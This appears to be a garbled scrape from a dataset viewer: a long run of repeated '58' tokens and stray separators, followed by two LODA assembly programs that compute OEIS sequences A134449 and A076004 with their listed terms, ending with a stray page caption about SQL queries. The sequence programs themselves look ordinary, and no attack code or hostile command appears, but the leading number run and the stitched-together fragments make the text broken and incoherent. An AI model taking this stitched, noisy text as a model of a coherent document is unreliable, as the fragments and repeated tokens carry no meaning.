58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
; A134449: Sum of even products minus sum of odd products of different pairs of numbers from 1 to n.
; 0,2,5,29,39,129,150,374,410,860,915,1707,1785,3059,3164,5084,5220,7974,8145,11945,12155,17237,17490,24114,24414,32864,33215,43799,44205,57255,57720,73592,74120,93194,93789,116469,117135,143849,144590,175790,176610,212772,213675,255299,256289,303899,304980,359124,360300,421550,422825,491777,493155,570429,571914,658154,659750,755624,757335,863535,865365,982607,984560,1113584,1115664,1257234,1259445,1414349,1416695,1585745,1588230,1772262,1774890,1974764,1977539,2194139,2197065,2431299,2434380
mov $3,$0
mov $4,$0
lpb $3
mov $0,$4
sub $3,1
sub $0,$3
mov $2,15
mov $5,1
add $5,$0
mov $7,5
add $7,$0
gcd $7,2
pow $5,$7
mul $5,9
mul $5,$0
mul $2,$5
mov $6,$7
add $6,$2
div $6,270
add $1,$6
lpe
mov $0,$1
|
; A076004: Fourth column of triangle A075503.
; Submitted by Jon Maiga
; 1,80,4160,179200,6967296,254607360,8940421120,305659904000,10259284361216,339910422691840,11158051230842880,363834840082022400,11805930580539867136,381715961976738283520,12309283295632755261440,396164311565124134502400,12731708769807667933741056,408722090120772627883622400,13110494156265929529150668800,420289258653722012058386432000,13467341390446685104635669118976,431389005904572864894853426708480,13814866761762972129465440623656960,442325792027534202998049083700019200
mov $1,$0
mov $0,8
pow $0,$1
seq $1,453 ; Stirling numbers of the second kind, S(n,4).
mul $1,$0
mov $0,$1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.